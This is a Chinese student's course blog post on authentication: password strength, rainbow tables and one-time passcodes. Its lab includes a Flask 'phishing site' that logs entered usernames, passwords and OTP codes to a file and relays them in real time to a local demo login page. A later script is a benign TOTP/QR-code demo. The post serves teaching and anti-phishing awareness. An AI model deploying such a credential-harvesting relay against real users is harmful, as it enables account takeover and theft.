当前位置: 首页 > news >正文

身份认证与信息管理:简单实验模拟钓鱼网页

学期2025-2026-1 学号20252332 《网络》第六自学总结“身份认证与信息管理”


目录

初识安全
身份认证与信息管理实验
提取图片方法
后记

初识安全

《网络空间安全导论(微课版)》第六章理解


身份认证与信息管理实验

概念解析略
1.先用你的密码安全吗?实验一下设置的密码安全性
低
中
高
2.演示彩虹表攻击原理(展示简单哈希值破解过程)
为了降低链中因不同密码产生相同哈希(即“碰撞”)而导致链合并失效的概率,彩虹表在构建哈希链的每一步使用不同的归约函数(R函数)。R函数的作用是将哈希值映射回一个可能的明文密码空间。这就像彩虹的光谱,不同位置颜色不同,因此得名“彩虹表”。
在线彩虹表
明文
对应哈希值
使用SHA-256
3.动态验证码防钓鱼

  • 动态验证码(也称为一次性密码,One-Time Password, OTP)在防止钓鱼攻击中起着至关重要的作用。
  • 它的核心原理是:即使攻击者通过钓鱼网站获取了用户的账号和静态密码,由于动态验证码是一次性的且与用户绑定的设备(如手机)相关,攻击者无法获取到当前有效的验证码,因此无法完成登录。
  • 然而,需要注意的是,动态验证码并不能完全防止钓鱼攻击。高级的钓鱼攻击可能会使用实时中间人(MitM)攻击,即攻击者将用户引导至一个伪造的网站,该网站会实时将用户输入的凭证(包括动态验证码)转发到真正的网站,从而在验证码过期前完成登录。
  • 为了防范这种攻击,可以采用以下措施:
    *使用具有挑战-应答机制的动态验证码(如TOTP,基于时间的一次性密码)而不是短信验证码,因为短信可能被拦截(尽管TOTP也可能被实时钓鱼,但难度更大)。
    *使用硬件安全密钥(如FIDO U2F)或推送认证,这些方式能够验证网站的真实性(通过验证域名的数字证书),从而防止中间人攻击。
    实验钓鱼:
# 真实网站代码示例
from flask import Flask, request, render_template_string
import pyotpapp = Flask(__name__)# 假设每个用户有一个共享密钥,用于生成TOTP
user_secret = "JBSWY3DPEHPK3PXP"@app.route('/')
def index():return render_template_string('''<form method="post"><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="text" name="otp" placeholder="OTP"><button type="submit">Login</button></form>''')@app.route('/', methods=['POST'])
def login():username = request.form['username']password = request.form['password']otp = request.form['otp']# 验证密码和OTPif password == "correctpassword" and pyotp.TOTP(user_secret).verify(otp):return "Login successful!"else:return "Login failed!"if __name__ == '__main__':app.run(port=5000)

实验真实网站

from flask import Flask, request, render_template_string
import requestsapp = Flask(__name__)@app.route('/')
def index():return render_template_string('''<form method="post"><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="text" name="otp" placeholder="OTP"><button type="submit">Login</button></form>''')@app.route('/', methods=['POST'])
def steal_credentials():username = request.form['username']password = request.form['password']otp = request.form['otp']# 记录窃取的凭证with open("stolen_credentials.txt", "a") as f:f.write(f"Username: {username}, Password: {password}, OTP: {otp}\n")# 同时尝试用这些凭证登录真实网站response = requests.post("http://localhost:5000", data={"username": username,"password": password,"otp": otp})# 如果登录成功,攻击者可以执行其他操作if "successful" in response.text:return "Phishing successful! (But this is just a demo)"else:return "Phishing failed!"if __name__ == '__main__':app.run(port=5001)

实验钓鱼网站
4.🔍 为什么动态验证码能防钓鱼?

  1. 物理设备隔离
    验证码发送到用户的个人设备(手机),与浏览器环境物理隔离。
  2. 上下文感知
    正规服务在发送验证码时通常会包含:
    服务标识:"【XX大学】您的验证码是..."
    操作提醒:"如非本人操作请忽略"
    安全警告:"切勿将验证码告知他人"
  3. 时间窗口限制
    攻击者必须在极短时间内:
    诱骗用户在钓鱼网站输入验证码
    使用该验证码登录正规网站
    这个时间窗口通常只有1-5分钟。
    5.⚠️ 高级钓鱼攻击的威胁
    尽管动态验证码很有效,但仍有高级攻击手段:
  4. 实时中间人攻击
    攻击者建立双向代理:
    用户 ↔ 钓鱼网站 ↔ 正规网站
    用户在所有操作中都能看到"正常"的界面,包括输入验证码。
  5. 钓鱼工具包
    某些高级钓鱼工具能:
    自动转发用户输入的验证码
    在几秒内完成登录
    5.应用场景中的动态验证码
import pyotp
import time
import qrcode
from datetime import datetime
import os  # 添加os模块class DynamicAuthSystem:def __init__(self):self.users = {}def register_user(self, username):"""为用户注册动态验证码"""# 生成随机密钥secret = pyotp.random_base32()# 创建TOTP对象totp = pyotp.TOTP(secret, interval=30)  # 30秒有效期# 存储用户信息self.users[username] = {'secret': secret,'totp': totp,'last_login': None}# 生成配置URI(用于身份验证器App)provisioning_uri = totp.provisioning_uri(name=username,issuer_name="校园安全系统")return secret, provisioning_uridef generate_qr_code(self, provisioning_uri, username):"""生成二维码(用于身份验证器App扫描)"""qr = qrcode.QRCode(version=1,error_correction=qrcode.constants.ERROR_CORRECT_L,box_size=10,border=4,)qr.add_data(provisioning_uri)qr.make(fit=True)# 保存二维码图片 - 修改保存路径save_directory = r"E:\课-网安\网导6\web_python"  # 使用原始字符串避免转义问题# 确保目录存在if not os.path.exists(save_directory):os.makedirs(save_directory)print(f"📁 创建目录: {save_directory}")filename = f"{username}_2fa_qr.png"full_path = os.path.join(save_directory, filename)  # 组合完整路径img = qr.make_image(fill_color="black", back_color="white")img.save(full_path)print(f"✅ 二维码已保存为: {filename}")print(f"📁 完整路径: {full_path}")return full_path  # 返回完整路径def verify_login(self, username, password, otp_code):"""验证用户登录(包含动态验证码)"""if username not in self.users:return False, "用户不存在"user_data = self.users[username]totp = user_data['totp']# 验证动态验证码if totp.verify(otp_code):user_data['last_login'] = datetime.now()return True, "登录成功"else:return False, "动态验证码错误或已过期"def get_current_otp(self, username):"""获取用户当前的动态验证码(用于测试)"""if username in self.users:return self.users[username]['totp'].now()return Nonedef demo_dynamic_auth():"""演示动态验证码系统"""print("🚀 动态验证码系统演示")print("=" * 50)# 显示当前工作目录current_dir = os.getcwd()print(f"📂 当前工作目录: {current_dir}")# 创建认证系统实例auth_system = DynamicAuthSystem()# 注册用户username = "student_2024"secret, provisioning_uri = auth_system.register_user(username)print(f"👤 用户名: {username}")print(f"🔑 密钥: {secret}")print(f"📱 配置URI: {provisioning_uri}")# 生成二维码qr_filename = auth_system.generate_qr_code(provisioning_uri, username)print("\n📋 登录测试:")print("-" * 30)# 获取当前验证码current_otp = auth_system.get_current_otp(username)print(f"📟 当前验证码: {current_otp}")# 测试正确验证码success, message = auth_system.verify_login(username, "password123", current_otp)print(f"✅ 正确验证码测试: {message}")# 测试错误验证码success, message = auth_system.verify_login(username, "password123", "000000")print(f"❌ 错误验证码测试: {message}")print(f"\n⏰ 验证码将在 {30 - (int(time.time()) % 30)} 秒后更新")# 提供打开文件的提示print(f"\n💡 要查看二维码,请打开文件: {qr_filename}")if __name__ == "__main__":demo_dynamic_auth()

6.如何谨防钓鱼?
检查域名:始终确认访问的是正规域名
使用密码管理器:自动填充只在正规网站工作
关注浏览器安全标识:锁形图标、HTTPS等
启用生物识别:指纹/面部识别作为第二因素

7.安全守则速记
✅ 3要原则
密码要12位混合字符(大小写+数字+符号)
重要账号要开启MFA(如微信/邮箱)
公共电脑登录要退出账号
❌ 3不原则
不重复使用同一密码
不点击“记住密码”弹窗
不透露验证码(客服索要=诈骗)

提取图片方法

在vscode上编辑的截图,复制到博客园上无法显示,需要一张一张手动修正。太麻烦。但是利用dotnet就会方便很多。
具体操作:Dotnet-cnblog使用
dotnet
成功了
dotnet-cnblog proc -f<markdown路径>
(然而最后还是从vscode里下载博客园插件。以后直接在vscode里写博客)

后记

0.(ps:这周任务好多,实验拖不了了emmm...)
1.钓鱼违法,本实验任何操作均进行于实验环境
2.代码均为AI,已经学习基础shell命令。
3.做着实验回想起来刚上大一前两个月做创新比赛,选择从零开始学renpy,3个晚上。都是些简单的python,跳转之类的。请教AI语法(在真正的创意想法中,用AI做出来的像笨蛋)马马虎虎的1200多行,路演开始40分钟还在纠正代码(苦笑)。虽然做好后没多少人看,但是尝试玩的都没通关,都没来得及做测试体验,想着能运行就OK了。后来检查发现有个label跳错了,一直循环(哈哈哈)。今天又开始熬夜敲代码了(加上飞起的工作),但是有一种兴奋感(想缓缓的敲一个 ?)。在压力下好像更有干劲(我还是挺想好好休息的,要保证学业,我的数学),没有这种"压力"每天有空就想睡觉,还睡不够。
4.今天话好多。早上见,高数。
5.第二天又来修正,补一个dotnet,补一个博客园插件。但图片生成并没有很成功。
6.什么都想赶,一气喝成。但前期试错也需要时间,对点打磨也需要时间。

http://www.jsqmd.com/news/45004/

相关文章:

  • 深入解析:Android Studio新手开发第二十四天
  • LDO-实践篇(1)
  • IO 2024 Round 3(团体赛)Unofficial Mirror【游记】【题解】
  • linux ftp用户目录
  • 梦灯花op2 noctuary 歌词+翻译
  • window开机启动无cmd脚本
  • 完整教程:第一篇:把任意 HTTP API 一键变成 Agent 工具
  • 双穿透架构:Docker 部署 Nextcloud 、CoderServer、使用cpolar 辅助+frp主导的个人开发环境环境解决方案
  • 【python】在Django中,执行原生SQL查询 - 指南
  • [nanoGPT] ChatGPT 的 LLM 的全栈实现 | 快速上手 - 实践
  • QQ浏览器的制作
  • 端点漏洞防护技术解析
  • 爱与时间反应鲜红色慢慢退却 一次次重复直到忘记了誓言 放弃这无果努力不再浪费时间 让心忘记所有感觉 直到永远
  • [Python刷题记录]-搜索插入位置-二分查找-简单
  • 告别低效备考!2025雅思封闭班培训机构深度测评
  • mariadb galera集群在Openstack中的应用 - T
  • webtui+chawan 搭建兼容TUI与HTML的UI
  • 实用指南:ArrayList与LinkedList对比:从源码角度分析性能差异ki
  • WPF Prism.Wpf implements mvvm,Prism.DryIOC implements IOC,IEventAggregator pub and sub message
  • linux ftp慢
  • 面试官问你这些,其实是在问你JavaScript执行原理!
  • Linux学习记录(七):WSL
  • 11/18
  • 2025年11月水泵,多级水泵,消防水泵公司推荐:扬程适配性与能效等级测评
  • 软件工程学习日志2025.11.19
  • linux ftp地址
  • 2025年11月消防水泵,多级水泵,自吸水泵厂家推荐:高温工况适用机型优选
  • linux ftp同步
  • 2025年11月水泵,管道水泵,多级水泵厂家推荐:大流量机型实测与采购攻略
  • 11/19